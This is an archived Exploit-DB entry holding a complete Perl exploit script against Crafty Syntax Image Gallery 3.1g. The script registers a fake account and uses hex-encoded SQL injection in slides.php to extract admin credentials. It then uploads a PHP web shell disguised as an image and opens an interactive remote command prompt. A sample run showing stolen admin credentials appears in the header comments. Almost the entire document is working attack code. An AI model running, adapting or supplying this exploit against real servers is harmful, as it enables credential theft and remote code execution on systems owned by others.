标题: Crafty Syntax Image Gallery 3.1g - Remote Code Execution EDB-ID: 1645 CVE: 2006-1668 2006-1667 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-04 漏洞利用脚本: #!/usr/bin/perl
###############################################################################
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
###############################################################################

# =====================================================
# $ crappy_syntax.pl localhost/csig/ 80
#
# :: crafty syntax image gallery <= 3.1g
# :: by undefined1_ @ bash-x.net/undef/
# :: note: this works only on mysql >= 4.0
#
#
# [+] creating user account
# [+]  user: 98fe56123
#   password: 7652L4M3l39q
#   email: SehswdSx0E@hotmail.com
# [+] user '98fe56123' with password '7652L4M3l39q' registered
# [+] logged in as 98fe56123
# [+] projectid is 2
# [-] no admin found for this projectid, trying the username 'admin'
# [+] admin username: 'admin'
# [+] admin password: '1111'
# [+] logged in as 'admin'
# [+] getting shell location
# [+] shell @ 'userimages/1/18d76bcbc6f2.php'
# [+] have phun?
#
# localhost$ uname
# Linux
# localhost$ whoami
# nobody
# =====================================================

use strict; 
use IO::Socket;

$| = 1;
print ":: crafty syntax image gallery <= 3.1g\n";
print ":: by undefined1_ @ bash-x.net/undef/\n";
print ":: note: this works only on mysql >= 4.0\n\n\n";

my $website = shift || usage();
my $port = shift || usage();
my $user = shift;
my $password = shift;
my $location = shift;



my $path = "/";
my $server = $website;
if(index($website, "/") != -1)
{
 $path = substr($website, index($website, "/"));
 $server = substr($website, 0, index($website, "/"));
 if(substr($path, length($path)-1) ne "/")
 {
  $path .= "/";
 }
}
if($location eq "")
{
 if($user eq "" && $password eq "")
 {
  print "[+] creating user account\n";
  $user = randstring(8,12);
  $password = randstring(8,12);
  my $email = randstring(8,12)."\@hotmail.com";
  printf("[+]\tuser: %s\n", $user);
  printf("\tpassword: %s\n", $password);
  printf("\temail: %s\n", $email);
  register($server, $path, $user, $user, $password, $email);
 }

 my $cookies = login($server, $port, $path, $user, $password);
 my $projectid = get_projectid($server, $port, $path, $cookies);
 my @admin = send_payload($server, $port, $path, $cookies, $projectid);

 $cookies = login($server, $port, $path, $admin[0], $admin[1]);
 upload_shell($server, $port, $path, $cookies, $projectid);
 $location = get_shell_location($server,$port,$path,$cookies);
}

check_shell($server, $port, $path, $location);
printf("[+] have phun?\n\n");
my $command;
while(1) 
{
 print $server."\$ ";
 while(<STDIN>) 
 {
  $command = $_;
  chomp($command);
  last;
 }
 do_shell($server,$port,$path,$location,$command);
}


sub send_payload(\$,\$,\$,\$,\$) {
 my $server = shift;
 my $port = shift;
 my $path = shift;
 my $cookies = shift;
 my $projectid = shift;
 my $shellcode;

 $shellcode  = "\x61\x6e\x64\x20\x31\x3d\x30\x20\x75\x6e\x69\x6f\x6e\x20";
 $shellcode .= "\x61\x6c\x6c\x20\x73\x65\x6c\x65\x63\x74\x20\x31\x2c\x32";
 $shellcode .= "\x2c\x33\x2c\x34\x2c\x35\x2c\x75\x73\x65\x72\x69\x64\x20";
 $shellcode .= "\x61\x73\x20\x64\x65\x73\x63\x72\x69\x70\x74\x69\x6f\x6e";
 $shellcode .= "\x2c\x37\x2c\x38\x2c\x39\x2c\x30\x2c\x31\x2c\x32\x2c\x33";
 $shellcode .= "\x2c\x34\x2c\x35\x2c\x35\x20\x66\x72\x6f\x6d\x20\x67\x61";
 $shellcode .= "\x6c\x6c\x65\x72\x79\x5f\x61\x63\x63\x65\x73\x73\x20\x77";
 $shellcode .= "\x68\x65\x72\x65\x20\x67\x61\x6c\x6c\x65\x72\x79\x69\x64";
 $shellcode .= "\x3d";
 $shellcode .= $projectid;
 $shellcode .= "\x20\x61\x6e\x64\x20\x70\x65\x72\x6d\x69\x73\x73\x69\x6f";
 $shellcode .= "\x6e\x73\x3d\x43\x4f\x4e\x43\x41\x54\x28\x30\x78\x34\x36";
 $shellcode .= "\x35\x35\x34\x63\x34\x63\x29\x20\x2d\x2d";

 my $query = "GET ".$path."slides.php?limitquery_s=".urlEncode($shellcode)." HTTP/1.1\r\n";
 $query .= "Host: $server\r\n";
 $query .= "User-Agent: Mozilla/5.0\r\n";
 $query .= "Connection: close\r\n";
 $query .= $cookies;
 $query .= "\r\n";
 my $data = sendpacket($server, $port, $query);
 if($data !~ /photo_captions\[1\] = "/)
 {
  print "[-] no admin found for this projectid, trying the username 'admin'\n";
  $shellcode = "and 1=0 union all select 1,username as image,3,4,5,password AS description,7,8,9,10,11,12,13,14,15,16 from gallery_users where username=CONCAT(0x61646d696e) --";
  $query = "GET ".$path."slides.php?limitquery_s=".urlEncode($shellcode)." HTTP/1.1\r\n";
  $query .= "Host: $server\r\n";
  $query .= "User-Agent: Mozilla/5.0\r\n";
  $query .= "Connection: close\r\n";
  $query .= $cookies;
  $query .= "\r\n";
  my $data = sendpacket($server, $port, $query);
  if($data !~ /photo_captions\[1\] = "/ || $data !~ /photo_urls\[1\] = "/)
  {
   print "[-] exploit failed\n";
   exit;
  }
  my $index1 = index($data, "photo_captions[1] = \" ") + 22;
  my $index2 = index($data, "\"", $index1);
  my $passwd = substr($data, $index1, $index2-$index1);

  $index1 = index($data, "photo_urls[1] = \"") + 17;
  $index2 = index($data, "\"", $index1);
  $data = substr($data, $index1, $index2-$index1);
  $index1 = rindex($data, "/") + 1;
  my $username = substr($data, $index1);


  print "[+] admin username: '$username'\n";
  print "[+] admin password: '$passwd'\n";

  my @ret;
  push(@ret, $username);
  push(@ret, $passwd);
  return @ret;
 }
 my $index1 = index($data, "photo_captions[1] = \" ") + 22;
 my $index2 = index($data, "\"", $index1);
 my $uid = substr($data, $index1, $index2-$index1);
 print "[+] admin uid: '$uid'\n";





 $shellcode = "and 1=0 union all select 1,username as image,3,4,5,password AS description,7,8,9,10,11,12,13,14,15,16 from gallery_users where recno=".$uid." --";
 $query = "GET ".$path."slides.php?limitquery_s=".urlEncode($shellcode)." HTTP/1.1\r\n";
 $query .= "Host: $server\r\n";
 $query .= "User-Agent: Mozilla/5.0\r\n";
 $query .= "Connection: close\r\n";
 $query .= $cookies;
 $query .= "\r\n";
 my $data = sendpacket($server, $port, $query);
 if($data !~ /photo_captions\[1\] = "/ || $data !~ /photo_urls\[1\] = "/)
 {
  print "[-] exploit failed (mysql < 4 ?)\n";
  exit;
 }
 $index1 = index($data, "photo_captions[1] = \" ") + 22;
 $index2 = index($data, "\"", $index1);
 my $passwd = substr($data, $index1, $index2-$index1);

 $index1 = index($data, "photo_urls[1] = \"") + 17;
 $index2 = index($data, "\"", $index1);
 $data = substr($data, $index1, $index2-$index1);
 $index1 = rindex($data, "/") + 1;
 my $username = substr($data, $index1);


 print "[+] admin username: '$username'\n";
 print "[+] admin password: '$passwd'\n";

 my @ret;
 push(@ret, $username);
 push(@ret, $passwd);
 return @ret;
}


sub do_shell(\$,\$,\$,\$,\$) {
 my $server = shift;
 my $port = shift;
 my $path = shift;
 my $location = shift;
 my $command = shift;

 my $d = "c=".$command;
 my $query = "POST ".$path.$location." HTTP/1.1\r\n";
 $query .= "Content-Type: application/x-www-form-urlencoded\r\n";
 $query .= "Host: $server\r\n";
 $query .= "User-Agent: Mozilla/5.0\r\n";
 $query .= "Connection: close\r\n";
 $query .= "Content-Length: ".length($d)."\r\n";
 $query .= "\r\n";
 $query .= $d;
 
 my $data = sendpacket($server, $port, $query);
 my $index = index($data, "\r\n\r\n");
 if($index >= 0)
 {
  print substr($data, $index+4)."\n";
 }
 else
 {
  print "[-] shell error?\n";
 }
}

sub check_shell(\$,\$,\$,\$) {
 my $server = shift;
 my $port = shift;
 my $path = shift;
 my $location = shift;

 
 my $query = "GET ".$path.$location." HTTP/1.1\r\n";
 $query .= "Host: $server\r\n";
 $query .= "User-Agent: Mozilla/5.0\r\n";
 $query .= "Connection: close\r\n";
 $query .= "\r\n";
 my $data = sendpacket($server, $port, $query);

 if($data !~ /HTTP\/1.1 200 OK/)
 {
  print "[-] shell not found\n";
  print "[-] try ".$server.$path."/userimages/\n";
  exit;
 }
}

sub get_shell_location(\$,\$,\$,\$) { 
 print "[+] getting shell location\n";
 my $server = shift;
 my $port = shift;
 my $path = shift;
 my $cookies = shift;
 my $shellcode;

 $shellcode  = "\x61\x6e\x64\x20\x69\x6d\x61\x67\x65\x20\x4c\x49\x4b\x45\x20\x43";
 $shellcode .= "\x4f\x4e\x43\x41\x54\x28\x30\x78\x32\x35\x32\x65\x37\x30\x36\x38";
 $shellcode .= "\x37\x30\x29\x20\x6f\x72\x64\x65\x72\x20\x62\x79\x20\x72\x65\x63";
 $shellcode .= "\x6e\x6f\x20\x64\x65\x73\x63\x20\x6c\x69\x6d\x69\x74\x20\x31\x20";
 $shellcode .= "\x2d\x2d";

 
 my $query = "GET ".$path."slides.php?limitquery_s=".urlEncode($shellcode)." HTTP/1.1\r\n";
 $query .= "Host: $server\r\n";
 $query .= "User-Agent: Mozilla/5.0\r\n";
 $query .= "Connection: close\r\n";
 $query .= $cookies;
 $query .= "\r\n";
 my $data = sendpacket($server, $port, $query);
 if($data =~ /There are no photos in this gallery/)
 {
  print "[-] shell not found\n";
  print "[-] try ".$server.$path."/userimages/\n";
  exit;
 }

 my $index1 = index($data, "photo_urls[1] = \"") + 17;
 my $index2 = index($data, "\"", $index1);
 my $location = substr($data, $index1, $index2-$index1);
 print "[+] shell @ '".$location."'\n";
 return $location;
}

sub get_projectid(\$,\$,\$,\$) {
 my $server = shift;
 my $port = shift;
 my $path = shift;
 my $cookies = shift;
 
 my $query = "GET ".$path."imagemenu.php?html=menu.tpl HTTP/1.1\r\n";
 $query .= "Host: $server\r\n";
 $query .= "User-Agent: Mozilla/5.0\r\n";
 $query .= "Connection: close\r\n";
 $query .= $cookies;
 $query .= "\r\n";
 my $data = sendpacket($server, $port, $query);
 my $projectid;
 if($data =~ /\?projectid=([0-9]*)/)
 {
  $projectid = $1;
 }
 else
 {
  print "[-] no projectid found";
  exit;
 }

 print "[+] projectid is '$projectid'\n";
 return $projectid;
}

sub upload_shell(\$,\$,\$,\$,\$) {
 my $server = shift;
 my $port = shift;
 my $path = shift;
 my $cookies = shift;
 my $projectid = shift;
 
 my $query = "GET ".$path."newimage.php?projectid=".$projectid." HTTP/1.1\r\n";
 $query .= "Host: $server\r\n";
 $query .= "User-Agent: Mozilla/5.0\r\n";
 $query .= "Connection: close\r\n";
 $query .= $cookies;
 $query .= "\r\n";
 my $data = sendpacket($server, $port, $query);
 if($data =~ /Access denied.../)
 {
  print "[-] no admin privileges (mysql < 4.0 ?)\n";
  exit;
 }

 my $shell = "<? if(isset(\$_POST['c'])) { system(\$_POST['c']); } ?>";

 my $boundary = "-----------------------------220162907215434";
 my $post = "--".$boundary."\r\n";
 $post .= "Content-Disposition: form-data; name=\"projectid\"\r\n\r\n";
 $post .= $projectid."\r\n";

 $post .= "--".$boundary."\r\n";
 $post .= "Content-Disposition: form-data; name=\"A_MONTH\"\r\n\r\n";
 $post .= "03\r\n";

 $post .= "--".$boundary."\r\n";
 $post .= "Content-Disposition: form-data; name=\"A_DAY\"\r\n\r\n";
 $post .= "26\r\n";

 $post .= "--".$boundary."\r\n";
 $post .= "Content-Disposition: form-data; name=\"A_YEAR\"\r\n\r\n";
 $post .= "2006\r\n";

 $post .= "--".$boundary."\r\n";
 $post .= "Content-Disposition: form-data; name=\"fullimage\"; filename=\"my_image.jpg\"\r\n";
 $post .= "Content-Type: text/plain\r\n\r\n";
 $post .= $shell."\r\n";

 $post .= "--".$boundary."\r\n";
 $post .= "Content-Disposition: form-data; name=\"description\"\r\n\r\n";
 $post .= "another image\r\n";

 $post .= "--".$boundary."\r\n";
 $post .= "Content-Disposition: form-data; name=\"ext\"\r\n\r\n";
 $post .= ".php\r\n";

 $post .= "--".$boundary."\r\n";
 $post .= "Content-Disposition: form-data; name=\"feature__".$projectid."\"\r\n\r\n";
 $post .= "Y\r\n";

 $post .= "--".$boundary."\r\n";
 $post .= "Content-Disposition: form-data; name=\"addnow\"\r\n\r\n";
 $post .= "ADD\r\n";

 $post .= "--".$boundary."--\r\n";

 my $query  = "POST ".$path."newimage.php?projectid=".$projectid." HTTP/1.1\r\n";
 $query .= "Content-Type: multipart/form-data; boundary=".$boundary."\r\n";
 $query .= "Host: $server\r\n";
 $query .= "User-Agent: Mozilla/5.0\r\n";
 $query .= "Connection: close\r\n";
 $query .= $cookies;
 $query .= "Content-Length: ".length($post)."\r\n";
 $query .= "\r\n";
 $query .= $post;

 sendpacket($server, $port, $query);
}

sub login(\$,\$,\$,\$,\$) {
 my $server = shift;
 my $port = shift;
 my $path = shift;
 my $username = shift;
 my $password = shift;

 my $d = "whattodo=login&myusername=".$username."&mypassword=".$password;
 my $query = "POST ".$path."index.php HTTP/1.1\r\n";
 $query .= "Content-Type: application/x-www-form-urlencoded\r\n";
 $query .= "Host: $server\r\n";
 $query .= "User-Agent: Mozilla/5.0\r\n";
 $query .= "Connection: close\r\n";
 $query .= "Content-Length: ".length($d)."\r\n";
 $query .= "\r\n";
 $query .= $d;

 my $data = sendpacket($server, $port, $query);
 if($data =~ /<td><b>Your Name:<\/td><td><input type=text name=myusername/ || $data !~ /Set-Cookie: /)
 {
  print "[-] failed to login\n";
  exit;
 }
 
 my $cookies = ""; # chocolate cookies
 my $index1 = index($data, "\r\n\r\n");
 if($index1 >= 0)
 {
  my $index2 = index($data, "Set-Cookie: ") + 12;
  my $index3 = index($data, "\r\n", $index2);
  $cookies = "Cookie: ".substr($data, $index2, $index3-$index2+2);
 }
 
 print "[+] logged in as '$username'\n";
 return $cookies;
}

sub register(\$, \$, \$, \$, \$, \$, \$) {
 my $server = shift;
 my $path = shift;
 my $name = shift;
 my $user = shift;
 my $password = shift;
 my $email = shift;

 my $d = "action=register&emailadd=".$email."&newname=".$name."&newusername=".$user."&newpassword=".$password;
 my $query = "POST ".$path."lostsheep.php HTTP/1.1\r\n";
 $query .= "Content-Type: application/x-www-form-urlencoded\r\n";
 $query .= "Host: $server\r\n";
 $query .= "User-Agent: Mozilla/5.0\r\n";
 $query .= "Connection: close\r\n";
 $query .= "Content-Length: ".length($d)."\r\n";
 $query .= "\r\n";
 $query .= $d;

 my $data = sendpacket($server, $port, $query);
 if($data =~ /<li>Sorry the username you entered <b><\/b> is already taken.. try again/)
 {
  print "[-] failed: username taken\n";
  exit;
 }
 if($data =~ /you did not enter in a/)
 {
  print "[-] failed\n";
  exit;
 }
 print "[+] user '$user' with password '$password' registered\n";
}

sub sendpacket(\$,\$,\$) {
 my $server = shift;
 my $port = shift;
 my $request = shift;

 my $sock = IO::Socket::INET->new(Proto => "tcp", PeerAddr => $server, PeerPort => $port) or die "[-] Could not connect to $server:$port $!\n";
 print $sock "$request";

 
 my $data = "";
 my $answer;
 while($answer = <$sock>)
 {
  $data .= $answer;
 }
 
 close($sock);
 return $data;
}

sub randstring(\$,\$) {
 my $min = shift;
 my $max = shift;

 my $length = int( (rand(65535)%($max-$min+1))+$min);
 my $ret = "";
 for(my $i = 0; $i < $length; $i++)
 {
  my $w = int(rand(3));
  if($w == 0)
  {
   $ret .= chr(97 + int(rand(26)));
  }
  elsif($w == 1)
  {
   $ret .= chr(65 + int(rand(26)));
  }
  else
  {
   $ret .= chr(48 + int(rand(10)));
  }
 }

 return $ret;
}


sub usage() {
 printf "usage: %s <website> <port> [user(optional)] [password(optional)] [shell path without trailing / (optional)]\n", $0;
 printf "exemple: %s www.site.com/csig/ 80\n", $0;
 exit;
}


sub urlEncode {
    my ($string) = @_;
    $string =~ s/(\W)/"%" . unpack("H2", $1)/ge;
    return $string;
}

# milw0rm.com [2006-04-04] URL: https://www.exploit-db.com/exploits/1645